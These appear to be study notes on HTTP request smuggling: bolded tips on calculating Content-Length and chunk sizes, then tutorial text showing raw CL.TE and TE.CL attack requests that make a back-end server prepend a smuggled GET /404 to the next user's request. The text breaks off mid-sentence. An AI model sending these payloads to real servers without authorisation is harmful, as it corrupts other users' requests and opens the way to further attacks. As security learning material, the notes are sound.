**\*\* content length is entire body besdies the first blank lines\*\***

**\*\* for when using a post request as the smuggled request, when calulcating bytes in hex only go to the end of the body not including an new line chars after the body text \*\***

**\*\*\*\*\* When testing TE.CL the TE bytes go from the start of the second request to the end of the body NOT included the new line chars \*\*\*\*\***

**\*\* the normal request content length should only count the TE bytes and its 2 new line chars (typically should be 4 for the main content length)\*\*\***

**\*\* inner content length should be larger then the entire body include the 0 and 4 new line chars \*\***

**\*\* Try using both get and post requests for the smuggled request. The main request should generally always be post \*\***

**Confirming HTTP request smuggling vulnerabilities using differential responses**

When a probable request smuggling vulnerability has been detected, you can obtain further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

* An "attack" request that is designed to interfere with the processing of the next request.
* A "normal" request.

If the response to the normal request contains the expected interference, then the vulnerability is confirmed.

For example, suppose the normal request looks like this:

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

q=smuggling

This request normally receives an HTTP response with status code 200, containing some search results.

The attack request that is needed to interfere with this request depends on the variant of request smuggling that is present: CL.TE vs TE.CL.

**Confirming CL.TE vulnerabilities using differential responses**

To confirm a CL.TE vulnerability, you would send an attack request like this:

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

Transfer-Encoding: chunked

e

q=smuggling&x=

0

GET /404 HTTP/1.1

Foo: x

If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this:

GET /404 HTTP/1.1

Foo: xPOST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

**Confirming TE.CL vulnerabilities using differential responses**

To confirm a TE.CL vulnerability, you would send an attack request like this:

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Transfer-Encoding: chunked

7c

GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 144

x=

0

**Note**

To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.

You need to include the trailing sequence \r\n\r\n following the final 0.

If the attack is successful, then everything from GET /404 onwards is treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this:

GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 146

x=

0

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with i